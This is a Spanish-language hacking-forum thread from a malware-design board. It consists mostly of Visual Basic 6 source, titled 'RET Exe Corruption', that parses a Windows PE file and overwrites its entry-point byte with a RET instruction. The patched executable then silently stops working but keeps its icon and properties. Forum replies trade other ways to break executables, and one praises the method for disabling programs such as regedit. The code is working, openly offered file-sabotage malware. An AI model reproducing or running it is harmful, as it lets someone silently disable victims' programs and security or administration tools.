Codigo relativo a este post:Citar[RET Exe Corruption] Corrompe cualquier Ejecutable (http://foro.elhacker.net/analisis_y_diseno_de_malware/ret_exe_corruption_corrompe_cualquier_ejecutable-t251137.0.html)
'---------------------------------------------------------------------------------------
' Modulo : mPatchExe
' Autor : Karcrack
' Fecha-Hora: 07/04/2009 18:43
' Finalidad : Deshabilita cualquier ejecutable
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
Private Enum ImageSignatureTypes
IMAGE_DOS_SIGNATURE = &H5A4D ''\\ MZ
IMAGE_OS2_SIGNATURE = &H454E ''\\ NE
IMAGE_OS2_SIGNATURE_LE = &H454C ''\\ LE
IMAGE_VXD_SIGNATURE = &H454C ''\\ LE
IMAGE_NT_SIGNATURE = &H4550 ''\\ PE\0\0
End Enum
Private Type IMAGE_DOS_HEADER
e_magic As Integer ' Magic number
e_cblp As Integer ' Bytes on last page of file
e_cp As Integer ' Pages in file
e_crlc As Integer ' Relocations
e_cparhdr As Integer ' Size of header in paragraphs
e_minalloc As Integer ' Minimum extra paragraphs needed
e_maxalloc As Integer ' Maximum extra paragraphs needed
e_ss As Integer ' Initial (relative) SS value
e_sp As Integer ' Initial SP value
e_csum As Integer ' Checksum
e_ip As Integer ' Initial IP value
e_cs As Integer ' Initial (relative) CS value
e_lfarlc As Integer ' File address of relocation table
e_ovno As Integer ' Overlay number
e_res(0 To 3) As Integer ' Reserved words
e_oemid As Integer ' OEM identifier (for e_oeminfo)
e_oeminfo As Integer ' OEM information; e_oemid specific
e_res2(0 To 9) As Integer ' Reserved words
e_lfanew As Long ' File address of new exe header
End Type
' MSDOS File header
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
' Directory format.
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
' Optional header format.
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Type IMAGE_OPTIONAL_HEADER
' Standard fields.
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
' Section header
Const IMAGE_SIZEOF_SHORT_NAME = 8
Private Type IMAGE_SECTION_HEADER
SecName As String * IMAGE_SIZEOF_SHORT_NAME
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
'---------------------------------------------------------------------------------------
' Procedimiento : PatchExe
' Autor : Karcrack
' Fecha : 07/04/2009
' Parametro(s) : sPath -> La ruta del fichero
' Return : True si todo fue bien
'---------------------------------------------------------------------------------------
Public Function PatchExe(ByVal sPath As String) As Boolean
On Error GoTo Fallo
Dim IDH As IMAGE_DOS_HEADER
Dim INH As IMAGE_NT_HEADERS
Dim ISH() As IMAGE_SECTION_HEADER
Dim bvCode() As Byte
Dim PE As Long
Dim i As Long
Dim Section As Long
bvCode = ReadFile(sPath) 'Leemos el fichero
Call CopyMemory(IDH, bvCode(0), Len(IDH)) 'Leemos la info del PE
Call CopyMemory(INH, bvCode(IDH.e_lfanew), Len(INH)) 'Leemos la info del PE
For i = 0 To INH.FileHeader.NumberOfSections - 1
ReDim Preserve ISH(0 To i)
Call CopyMemory(ISH(i), bvCode(IDH.e_lfanew + Len(INH) + Len(ISH(i)) * i), Len(ISH(i)))
If (INH.OptionalHeader.AddressOfEntryPoint => ISH(i).VirtualAddress) And (INH.OptionalHeader.AddressOfEntryPoint =< ISH(i).VirtualAddress + ISH(i).VirtualSize) Then
Section = i
Exit For
End If
Next i
bvCode(INH.OptionalHeader.AddressOfEntryPoint - ISH(i).VirtualAddress + ISH(i).PointerToRawData) = &HC3 'Parcheamos el fichero (C3=RET)
Call SaveFile(bvCode, sPath)
PatchExe = True 'Todo funciono
Exit Function 'Salimos
Fallo:
PatchExe = False 'Algo ha ido mal :S
End Function
'---------------------------------------------------------------------------------------
' Procedimiento : ReadFile
' Autor : Karcrack
' Fecha : 07/04/2009
' Parametro(s) : sPath -> La ruta del fichero
' Return : Devuelve un Byte array con los bytes del fichero
'---------------------------------------------------------------------------------------
Private Function ReadFile(ByVal sPath As String) As Byte()
Dim bvTmp() As Byte
Open sPath For Binary As #1
ReDim bvTmp(0 To LOF(1) - 1)
Get #1, , bvTmp
Close #1
ReadFile = bvTmp
End Function
'---------------------------------------------------------------------------------------
' Procedimiento : SaveFile
' Autor : Karcrack
' Fecha : 07/04/2009
' Parametro(s) : bvData() -> Array de datos
' sPath -> Ruta de guardado
'---------------------------------------------------------------------------------------
Private Sub SaveFile(ByRef bvData() As Byte, ByVal sPath As String)
Open sPath For Binary As #1
Put #1, , bvData
Close #1
End Sub
muy interesante, esta seria la forma logica, aunque reemplazando 2 o 3 kb del principio ya lo cagas.
saludos
Cita de: el_c0c0 en 8 Abril 2009, 03:27 AM
muy interesante, esta seria la forma logica, aunque reemplazando 2 o 3 kb del principio ya lo cagas.
saludos
Si, solo con reemplazar el primer byte (M) ya no funciona... pero muestra una fea pantalla negra y se pierde el icono...
Está bueno el code, se mantiene todo tal cual, icono y propiededes del ejecutable, me sirve para seguridad.
Saludos
Tambien modificando el SizeOfImage a un valor malo te da que no es una aplicación valida , aunque muy util el metodo para desabilitar programas como el regedit ;) .